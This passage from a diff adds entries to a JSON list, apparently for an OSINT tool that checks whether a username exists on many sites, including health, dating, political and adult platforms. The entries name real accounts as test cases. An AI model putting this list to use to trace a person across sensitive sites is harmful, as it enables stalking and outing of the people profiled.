"e_string" : "Пользователь", + "m_string" : "Страница не найдена", + "m_code" : 404, + "known" : ["nastya3", "nastya"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "olx", + "uri_check" : "https://www.olx.pl/oferty/uzytkownik/{account}/", + "e_code" : 200, + "e_string" : "Obserwuj wyszukiwanie", + "m_string" : "Przepraszamy, ale nie możemy znaleźć takiej strony...", + "m_code" : 200, + "known" : ["janek", "test"], + "cat" : "shopping", + "valid" : false + }, + { + "name" : "omlet", + "uri_check" : "https://omlet.gg/profile/{account}", + "e_code" : 200, + "e_string" : "<title>Omlet Arcade -", + "m_string" : "Omlet Arcade", + "m_code" : 404, + "known" : ["hacker", "crypt0"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Opencollective", + "uri_check" : "https://opencollective.com/{account}", + "e_code" : 200, + "e_string" : "- Open Collective", + "m_string" : "Not Found", + "m_code" : 200, + "known" : ["john", "bob"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "opensource", + "uri_check" : "https://opensource.com/users/{account}", + "e_code" : 200, + "e_string" : "| Opensource.com", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["dave", "mike"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "OpenStreetMap", + "uri_check" : "https://www.openstreetmap.org/user/{account}", + "e_code" : 200, + "e_string" : "Mapper since:", + "m_string" : "does not exist", + "m_code" : 404, + "known" : ["kemkim"], + "cat" : "social", + "valid" : true + }, + { + "name" : "OPGG", + "uri_check" : "https://eune.op.gg/summoners/eune/{account}", + "e_code" : 200, + "e_string" : "- Summoner Stats - League of Legends", + "m_string" : "Guide - OP.GG", + "m_code" : 200, + "known" : ["xin", "carlos01"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Orbys", + "uri_check" : "https://orbys.net/{account}", + "e_code" : 200, + "e_string" : "profile_user_image", + "m_string" : "The page you are looking for cannot be found.", + "m_code" : 404, + "known" : ["txmustang302"], + "cat" : "social", + "valid" : true + }, + { + "name" : "osu!", + "uri_check" : "https://osu.ppy.sh/users/{account}", + "e_code" : 302, + "e_string" : "", + "m_string" : "User not found! ;_;", + "m_code" : 404, + "known" : ["stretches", "spiken8"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Our Freedom Book", + "uri_check" : "https://www.ourfreedombook.com/{account}", + "e_code" : 200, + "e_string" : "meta property=\"og:", + "m_string" : "Sorry, page not found", + "m_code" : 302, + "known" : ["DaveLipsky", "StarlaJene"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ow.ly", + "uri_check" : "http://ow.ly/user/{account}", + "e_code" : 200, + "e_string" : "Images", + "m_string" : "404 error", + "m_code" : 404, + "known" : ["StopAdMedia", "jokervendetti"], + "cat" : "social", + "valid" : true + }, + { + "name" : "palnet", + "uri_check" : "https://www.palnet.io/@{account}", + "e_code" : 200, + "e_string" : " - PALnet", + "m_string" : "Unknown user account!", + "m_code" : 404, + "known" : ["abdul01", "hakim"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Parler", + "uri_check" : "https://parler.com/user/{account}", + "e_code" : 200, + "e_string" : "People to Follow", + "m_string" : "join Parler today", + "m_code" : 302, + "known" : ["DineshDsouza", "SeanHannity"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Parler archived profile", + "uri_check" : "http://archive.org/wayback/available?url=https://parler.com/profile/{account}", + "uri_pretty" : "https://web.archive.org/web/2/https://parler.com/profile/{account}", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["JoePags", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Parler archived posts", + "uri_check" : "http://archive.org/wayback/available?url=https://parler.com/profile/{account}/posts", + "uri_pretty" : "https://web.archive.org/web/2/https://parler.com/profile/{account}/posts", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["JoePags", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Pastebin", + "uri_check" : "https://pastebin.com/u/{account}", + "e_code" : 200, + "e_string" : "'s Pastebin", + "m_string" : "", + "m_code" : 404, + "known" : ["test", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "patch", + "uri_check" : "https://patch.com/users/{account}", + "e_code" : 200, + "e_string" : "Patch User Profile", + "m_string" : "<title>Page not found", + "m_code" : 404, + "known" : ["dave", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "PatientsLikeMe", + "uri_check" : "https://www.patientslikeme.com/members/{account}", + "e_code" : 200, + "e_string" : "s profile | PatientsLikeMe", + "m_string" : "", + "m_code" : 302, + "known" : ["thjuland", "Pedro0703", "Hydropioneer"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Patreon", + "uri_check" : "https://www.patreon.com/{account}", + "e_code" : 200, + "e_string" : "full_name\":", + "m_string" : "errorCode\": 404,", + "m_code" : 404, + "known" : ["mubix", "doughboys"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Patriots Win", + "uri_check" : "https://patriots.win/u/{account}/", + "e_code" : 200, + "e_string" : "nav-user active register", + "m_string" : "An error occurred", + "m_code" : 500, + "known" : ["r3deleven", "MemeFactory"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Patronite", + "uri_check" : "https://patronite.pl/{account}", + "e_code" : 200, + "e_string" : "Zostań Patronem", + "m_string" : "Nie znaleźliśmy strony której szukasz.", + "m_code" : 404, + "known" : ["radio357", "radionowyswiat"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Paypal", + "uri_check" : "https://www.paypal.com/paypalme/{account}", + "e_code" : 200, + "e_string" : "userInfo", + "m_string" : "PayPal.MeFollowers", + "m_string" : "Sorry, this page doesn’t exist", + "m_code" : 404, + "known" : ["john", "test"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Pettingzoo.co (Mastodon Instance)", + "uri_check" : "https://pettingzoo.co/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://pettingzoo.co/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["tyr", "Disbear"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pewex", + "uri_check" : "https://retro.pewex.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza eksponaty od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["test", "ania"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Picsart", + "uri_check" : "https://picsart.com/u/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" : "Profiles on Picsart", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["john", "john404"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Piekielni", + "uri_check" : "https://piekielni.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza historie od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["test", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "pikabu", + "uri_check" : "https://pikabu.ru/@{account}", + "e_code" : 200, + "e_string" : "— все посты пользователя", + "m_string" : "404. Страница не найдена", + "m_code" : 404, + "known" : ["igor01", "serguei"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pillowfort", + "uri_check" : "https://www.pillowfort.social/{account}", + "e_code" : 200, + "e_string" : "", + "m_code" : 404, + "m_string" : "That page does not exist, or you do not have the proper permissions to view it.", + "known" : ["MissMoonified", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "PinkBike", + "uri_check" : "https://www.pinkbike.com/u/{account}/", + "e_code" : 200, + "e_string" : "on Pinkbike", + "m_string" : "I couldn't find the page you were looking for", + "m_code" : 404, + "known" : ["whistlermountainbikepark", "paulhanson"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Pinterest", + "uri_check" : "https://www.pinterest.com/{account}/", + "e_code" : 200, + "e_string" : " - Profile | Pinterest", + "m_string" : "Whoops! We couldn't find that page", + "m_code" : 404, + "known" : ["test123", "frickcollection"], + "cat" : "social", + "valid" : true + }, + { + "name" : "pixelfed.social", + "uri_check" : "https://pixelfed.social/{account}", + "e_code" : 200, + "e_string" : "on pixelfed", + "m_string" : "pixelfed", + "m_code" : 404, + "known" : ["sarah", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Playstation Network", + "uri_check" : "https://psnprofiles.com/xhr/search/users?q={account}", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "We couldn't find anything ", + "m_code" : 200, + "known" : ["SlimShaggy18", "ikemenzi"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Plurk", + "uri_check" : "https://www.plurk.com/{account}", + "e_code" : 200, + "e_string" : "Profile views", + "m_string" : "Register your plurk account", + "m_code" : 200, + "known" : ["test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pokec", + "uri_check" : "https://pokec.azet.sk/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" :"idReportedUser", + "m_string" : "Neexistujúci používateľ", + "m_code" : 404, + "known" : ["tobias", "brahim1"], + "cat" : "social", + "valid" : true + }, + { + "name" : "pokemonshowdown", + "uri_check" : "https://pokemonshowdown.com/users/{account}", + "e_code" : 200, + "e_string" : "Official ladder", + "m_string" : " (Unregistered)", + "m_code" : 404, + "known" : ["red", "blue"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Pokerstrategy", + "uri_check" : "http://www.pokerstrategy.net/user/{account}/profile/", + "e_code" : 200, + "e_string" : "User profile for", + "m_string" : "Sorry, the requested page couldn't be found!", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Polchat.pl", + "uri_check" : "https://polczat.pl/forum/profile/{account}/", + "e_code" : 200, + "e_string" : "Historia wpisów", + "m_string" : "Wybrany użytkownik nie istnieje.", + "m_code" : 200, + "known" : ["test","admin"], + "cat" : "social", + "valid" : true + }, + { + "name" : "policja2009", + "uri_check" : "http://www.policja2009.fora.pl/search.php?search_author={account}", + "e_code" : 200, + "e_string" : "Znaleziono", + "m_string" : "Nie znaleziono tematów ani postów pasujących do Twoich kryteriów", + "m_code" : 200, + "known" : ["Pvwel", "janek"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Poll Everywhere", + "uri_check" : "https://pollev.com/proxy/api/users/{account}", + "uri_pretty" : "https://pollev.com/{account}", + "e_code" : 200, + "e_string" : "name", + "m_string" : "ResourceNotFound", + "m_code" : 404, + "known" : ["josh", "jsmith"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Mastodon-pol.social", + "uri_check" : "https://pol.social/@{account}", + "e_code" : 200, + "e_string" : "@pol.social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["ftdl", "ducensor"], + "cat" : "social", + "valid" : true + }, + { + "name" : "polygon", + "uri_check" : "https://www.polygon.com/users/{account}", + "e_code" : 200, + "e_string" : "- Polygon", + "m_string" : "404 Not found", + "m_code" : 404, + "known" : ["nicodeyo", "Nicole_Clark"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "popl", + "uri_check" : "https://poplme.co/{account}", + "e_code" : 200, + "e_string" : "MuiTypography-root MuiTypography-body1 css-kj7pvm", + "m_string" : "Profile not found", + "m_code" : 200, + "known" : ["rpelite","Ee0af3d822","ashleymetzger"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Pornhub Porn Stars", + "uri_check" : "https://www.pornhub.com/pornstar/{account}", + "e_code" : 200, + "e_string" : "Pornstar Rank", + "m_string" : "", + "m_code" : 301, + "known" : ["riley-reid", "alex-adams"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Pornhub Users", + "uri_check" : "https://www.pornhub.com/users/{account}", + "e_code" : 200, + "e_string" : "s Profile - Pornhub.com", + "m_string" : "Error Page Not Found", + "m_code" : 404, + "known" : ["test123"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Poshmark", + "uri_check" : "https://poshmark.com/closet/{account}", + "e_code" : 200, + "e_string" : " is using Poshmark to sell items from their closet.", + "m_string" : "Page not found - Poshmark", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "postcrossing", + "uri_check" : "https://www.postcrossing.com/user/{account}", + "e_code" : 200, + "e_string" : ", from", + "m_string" : "- Postcrossing", + "m_code" : 404, + "known" : ["Vladimir", "olga3"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Poweredbygay.social (Mastodon Instance)", + "uri_check" : "https://poweredbygay.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://poweredbygay.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["aggiepm", "eplumley1976"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pravda.me", + "uri_check" : "https://pravda.me/@{account}", + "e_code" : 200, + "e_string" : "Российская социальная сеть (by mastodon)", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["tass", "rt_russian"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Producthunt", + "uri_check" : "https://www.producthunt.com/@{account}", + "e_code" : 200, + "e_string" : "s profile on Product Hunt", + "m_string" : "Product Hunt - All newest Products", + "m_code" : 404, + "known" : ["alex", "jack"], + "cat" : "business", + "valid" : true + }, + { + "name" : "promodj", + "uri_check" : "https://promodj.com/{account}", + "e_code" : 200, + "e_string" : "Favorite styles", + "m_string" : "Page not found :(", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Pronouns.Page", + "uri_check" : "https://pronouns.page/api/profile/get/{account}?version=2", + "e_code" : 200, + "e_string" : "username", + "m_string" : "\"profiles\": {}", + "m_code" : 304, + "known" : ["cannabis_cervi", "user"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Pronouny", + "uri_check" : "https://pronouny.xyz/api/users/profile/username/{account}", + "e_code" : 200, + "e_string" : "username", + "m_code" : 400, + "m_string" : "That user doesn't exist", + "known" : ["test", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Prose", + "uri_check" : "https://prose.astral.camp/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["endeavorance", "overthinkification"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "prv.pl", + "uri_check" : "https://www.prv.pl/osoba/{account}", + "e_code" : 200, + "e_string" : "LOGIN", + "m_string" : "Użytkownik nie istnieje.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Psstaudio", + "uri_check" : "https://psstaudio.com/u/{account}", + "e_code" : 200, + "e_string" : "id=\"profile_picture\"", + "m_code" : 404, + "m_string" : "We know you were looking for something, but it is not here", + "known" : ["JayeWilde", "baxter"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "public", + "uri_check" : "https://public.com/@{account}", + "e_code" : 200, + "e_string" : ") Investment Portfolio on Public", + "m_string" : "04 - Page Not Found - Public ", + "m_code" : 404, + "known" : ["igor1", "david2"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "pypi", + "uri_check" : "https://pypi.org/user/{account}/", + "e_code" : 200, + "e_string" : "Profile of", + "m_string" : "Page Not Found (404) · PyPI", + "m_code" : 404, + "known" : ["dev", "pydude"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "QUEER", + "uri_check" : "https://queer.pl/user/{account}", + "e_code" : 200, + "e_string" : "Społeczność", + "m_string" : "Strona nie została znaleziona", + "m_code" : 404, + "known" : ["test", "kowalski"], + "cat" : "social", + "valid" : true + }, + { + "name" : "quitter.pl", + "uri_check" : "https://quitter.pl/profile/{account}", + "e_code" : 200, + "e_string" : "@quitter.pl", + "m_string" : "Nie znaleziono", + "m_code" : 404, + "known" : ["divmod", "panoptykon"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Quora", + "uri_check" : "https://www.quora.com/profile/{account}", + "e_code" : 200, + "e_string" : "Credentials", + "m_string" : "Page Not Found", + "m_code" : 301, + "known" : ["John-Galan-5", "Alex-Clay"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Raddle.me", + "uri_check" : "https://raddle.me/user/{account}", + "e_code" : 200, + "e_string" : "sidebar__title", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : ["zephyr", "Archaplain"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Rant.li", + "uri_check" : "https://www.rant.li/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["baretri", "arinbasu"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "ReblogMe", + "uri_check" : "https://{account}.reblogme.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "blogbody", + "m_string" : "Sorry, seems that blog doesn't exist", + "m_code" : 200, + "known" : ["staff", "chicken"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Refsheet", + "uri_check" : "https://refsheet.net/{account}", + "e_code" : 200, + "e_string" : "og:title", + "m_code" : 404, + "m_string" : "That's unfortunate. Where did it go?", + "known" : ["razzyaurealis", "saki"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "redbubble", + "uri_check" : "https://www.redbubble.com/people/{account}/shop", + "e_code" : 200, + "e_string" : "Shop | Redbubble", + "m_string" : "This is a lost cause.", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Reddit", + "uri_check" : "https://www.reddit.com/user/{account}/about/.json", + "uri_pretty" : "https://www.reddit.com/user/{account}", + "e_code" : 200, + "e_string" : "total_karma", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["koavf", "alabasterheart"], + "cat" : "social", + "valid" : true + }, + { + "name" : "REDGIFS", + "uri_check" : "https://api.redgifs.com/v1/users/{account}", + "uri_pretty" : "https://www.redgifs.com/users/{account}", + "e_code" : 200, + "e_string" : "followers", + "m_string" : "user account not found for ", + "m_code" : 404, + "known" : ["alexbreecooper", "Jose-Roberto-Rasi"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Researchgate", + "uri_check" : "https://www.researchgate.net/profile/{account}", + "e_code" : 200, + "e_string" : " | ", + "m_string" : "20+ million researchers on ResearchGate", + "m_code" : 301, + "known" : ["Tafara-Mwareya", "Jose-Roberto-Rasi"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "resumes_actorsaccess", + "uri_check" : "https://resumes.actorsaccess.com/{account}", + "e_code" : 200, + "e_string" : "- Resume | Actors Access", + "m_string" : "File was not found on this SERVER", + "m_code" : 200, + "known" : ["veronicashelby", "sarahstipe"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Revolut", + "uri_check" : "https://revolut.me/api/web-profile/{account}", + "uri_pretty" : "https://revolut.me/{account}", + "e_code" : 200, + "e_string" : "\"firstName\"", + "m_code" : 404, + "m_string" : "\"User not found\"", + "known" : ["theaswdc", "honey"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Mastodon-rigcz.club", + "uri_check" : "https://rigcz.club/@{account}", + "e_code" : 200, + "e_string" : "@rigcz.club", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["blazej", "adam"], + "cat" : "social", + "valid" : true + }, + { + "name" : "risk.ru", + "uri_check" : "https://risk.ru/people/{account}", + "e_code" : 200, + "e_string" : "— Люди — Risk.ru", + "m_string" : "404 — Risk.ru", + "m_code" : 404, + "known" : ["igor1", "olga"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Roblox", + "uri_check" : "https://auth.roblox.com/v1/usernames/validate?username={account}&birthday=2019-12-31T23:00:00.000Z", + "uri_pretty" : "https://www.roblox.com/search/users?keyword={account}", + "e_code" : 200, + "e_string" : "Username is already in use", + "m_string" : "Username is valid", + "m_code" : 200, + "known" : ["LeetPawn", "elephant459"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "RoutineHub", + "uri_check" : "https://routinehub.co/user/{account}", + "e_code" : 200, + "e_string" : "Downloads: ", + "m_string" : "A community for Apple Shortcuts", + "m_code" : 200, + "known" : ["zachary7829", "JonathanSetzer"], + "cat" : "social", + "valid" : true + }, + { + "name" : "rsi", + "uri_check" : "https://robertsspaceindustries.com/citizens/{account}", + "e_code" : 200, + "e_string" : "CITIZEN DOSSIER", + "m_string" : "404 NAVIGATING UNCHARTED TERRITORY", + "m_code" : 404, + "known" : ["alpHackeronee", "Quantum_Physicist"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "ru_123rf", + "uri_check" : "https://ru.123rf.com/profile_{account}", + "e_code" : 200, + "e_string" : "- 123RF", + "m_string" : "Векторы, Видеоролики. Подписка", + "m_code" : 302, + "known" : ["ruslan", "olga"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "RumbleChannel", + "uri_check" : "https://rumble.com/c/{account}", + "e_code" : 200, + "e_string" : "href=https://rumble.com/c/", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["HodgeTwins", "SeanHannity"], + "cat" : "political", + "valid" : true + }, + { + "name" : "RumbleUser", + "uri_check" : "https://rumble.com/user/{account}", + "e_code" : 200, + "e_string" : " href=https://rumble.com/user/", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["SimonParkes", "djmrmusic"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Salon24", + "uri_check" : "https://www.salon24.pl/u/{account}/", + "e_code" : 200, + "e_string" : "Strona główna", + "m_string" : "Salon24 - blogi, newsy, opinie i komentarze", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "SaraCarterShow", + "uri_check" : "https://saraacarter.com/author/{account}/", + "e_code" : 200, + "e_string" : "| Sara A. Carter", + "m_string" : "Page not found - Sara A. Carter", + "m_code" : 301, + "known" : ["douglasbraff", "annaliese"], + "cat" : "political", + "valid" : true + }, + { + "name" : "ScoutWiki", + "uri_check" : "https://en.scoutwiki.org/User:{account}", + "e_code" : 200, + "e_string" : "NewPP limit report", + "m_string" : "is not registered", + "m_code" : 301, + "known" : ["Mlh_nl", "Benjism89"], + "cat" : "social", + "valid" : true + }, + { + "name" : "scratch", + "uri_check" : "https://scratch.mit.edu/users/{account}/", + "e_code" : 200, + "e_string" : "on Scratch", + "m_string" : "We couldn't find the page you're looking for.", + "m_code" : 404, + "known" : ["griffpatch"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "secure_donation", + "uri_check" : "https://secure.donationpay.org/{account}/", + "e_code" : 200, + "e_string" : "| DonationPay", + "m_string" : "secure.donationpay.org", + "m_code" : 404, + "known" : ["rareimpact", "safc"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Seneporno", + "uri_check" : "https://seneporno.com/user/{account}", + "e_code" : 200, + "e_string" : "Dernier Login", + "m_string" : "Unexpected error! Please contact us and tell us more how you got to this page!", + "m_code" : 301, + "known" : ["Kalsobbc", "Boymariste"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "sentimente", + "uri_check" : "https://www.sentimente.com/amp/{account}.html", + "e_code" : 200, + "e_string" :"Chat online with", + "m_string" : "HTTP Error code: 404. Resource not found", + "m_code" : 404, + "known" : ["david01", "brahim01"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "SEOClerks", + "uri_check" : "https://www.seoclerks.com/user/{account}", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "SEO Marketplace", + "m_code" : 302, + "known" : ["Vfmseo", "gokudadon"], + "cat" : "social", + "valid" : true + }, + { + "name" : "setlist.fm", + "uri_check" : "https://www.setlist.fm/user/{account}", + "e_code" : 200, + "e_string" : "s setlist.fm | setlist.fm", + "m_string" : "Sorry, the page you requested doesn't exist", + "m_code" : 404, + "known" : ["bendobrin", "michi"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Sexworker", + "uri_check" : "https://sexworker.com/api/profile/{account}", + "uri_pretty" : "https://sexworker.com/{account}", + "e_code" : 200, + "e_string" : "profilePictureUrl", + "m_code" : 404, + "m_string" : "This user does not exist.", + "known" : ["sakii_nightshade", "annajean2319"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "SFD", + "uri_check" : "https://www.sfd.pl/profile/{account}", + "e_code" : 200, + "e_string" : "Tematy użytkownika", + "m_string" : "Brak aktywnego profilu na forum", + "m_code" : 404, + "known" : ["janek", "admin"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Shanii Writes", + "uri_check" : "https://forum.shanniiwrites.com/u/{account}/summary.json", + "uri_pretty" : "https://forum.shanniiwrites.com/u/{account}", + "e_code" : 200, + "e_string" : "topics", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["chococarmela", "wolfgamergirl37"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Shesfreaky", + "uri_check" : "https://www.shesfreaky.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s Profile - ShesFreaky", + "m_code" : 302, + "m_string" : "", + "known" : ["tata23", "fitzsta"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "shopify", + "uri_check" : "https://{account}.myshopify.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "home", + "m_string" : "Sorry, this shop is currently unavailable.", + "m_code" : 404, + "known" : ["john", "daniel"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "shutterstock", + "uri_check" : "https://www.shutterstock.com/g/{account}", + "e_code" : 200, + "e_string" : "| Shutterstock", + "m_string" : "Well, this is unexpected...", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "images", + "valid" : true + }, + { + "name" : "skeb", + "uri_check" : "https://skeb.jp/@{account}", + "e_code" : 200, + "e_string" : ") | Skeb", + "m_code" : 503, + "m_string" : "Skeb - Request Box", + "known" : ["eipuru_", "sime064"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Skyrock", + "uri_check" : "https://{account}.skyrock.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "'s blog", + "m_string" : "Page not found - ", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SlackHoles", + "uri_check" : "https://slackholes.com/actor/{account}/", + "e_code" : 200, + "e_string" : "Pussy and Ass Sizes", + "m_string" : "It looks like nothing was found at this location", + "m_code" : 404, + "known" : ["alexbreecooper", "roxy-raye"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "slant", + "uri_check" : "https://www.slant.co/users/{account}", + "e_code" : 200, + "e_string" : "s Profile - Slant", + "m_string" : "404 - Page Not Found - Slant", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "slideshare", + "uri_check" : "https://www.slideshare.net/{account}", + "e_code" : 200, + "e_string" : "photo user-photo", + "m_string" : "is still available. Why not", + "m_code" : 404, + "known" : ["test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "slides", + "uri_check" : "https://slides.com/{account}", + "e_code" : 200, + "e_string" : "Presentations by", + "m_string" : "You may have mistyped the address", + "m_code" : 404, + "known" : ["arunthomas"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SmashRun", + "uri_check" : "https://smashrun.com/{account}/", + "e_code" : 200, + "e_string" : "Miles run overall", + "m_string" : "no Smashrunner with the username", + "m_code" : 404, + "known" : ["john.young"], + "cat" : "health", + "valid" : true + }, + { + "name" : "smelsy", + "uri_check" : "https://www.smelsy.com/profile/{account}", + "e_code" : 200, + "e_string" : "Smelsy -", + "m_string" : "Server Error", + "m_code" : 500, + "known" : ["mohamed01", "ahmed"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "SmugMug", + "uri_check" : "https://{account}.smugmug.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "schema.org/Person", + "m_string" : "schema.org/Thing", + "m_code" : 404, + "known" : ["wow", "jill"], + "cat" : "images", + "valid" : true + }, + { + "name" : "smule", + "uri_check" : "https://www.smule.com/api/profile/?handle={account}", + "uri_pretty" : "https://www.smule.com/{account}", + "e_code" : 200, + "e_string" : "account_id", + "m_string" : "code\": 65", + "m_code" : 400, + "known" : ["cgrrose", "John___Anish"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Snapchat", + "uri_check" : "https://feelinsonice.appspot.com/web/deeplink/snapcode?username={account}&size=400&type=SVG", + "uri_pretty" : "https://www.snapchat.com/add/{account}", + "e_code" : 200, + "e_string" : "</clipPath>", + "m_string" : "http://www.w3.org/1999/xlink", + "m_code" : 404, + "known" : ["billy23", "mrbean", "alexis4"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Snapchat Stories", + "uri_check" : "https://story.snapchat.com/s/{account}", + "e_code" : 200, + "e_string" : "is on Snapchat!", + "m_string" : "Not_Found", + "m_code" : 404, + "known" : ["djkhaled305", "mileycyrus"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Snipfeed", + "uri_check" : "https://snipfeed.co/{account}", + "e_code" : 200, + "e_string" : "creatorLink", + "m_code" : 404, + "m_string" : "Oops, you hit a dead end!", + "known" : ["mycherrycrush", "honey"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "social.bund.de", + "uri_check" : "https://social.bund.de/@{account}", + "e_code" : 200, + "e_string" : "@social.bund.de) - social.bund.de", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["bfdi", "bmdv"], + "cat" : "social", + "valid" : true + }, + { + "name" : "soc.citizen4.eu", + "uri_check" : "https://soc.citizen4.eu/profile/{account}/profile", + "e_code" : 200, + "e_string" : "@soc.citizen4.eu", + "m_string" : "Nie znaleziono", + "m_code" : 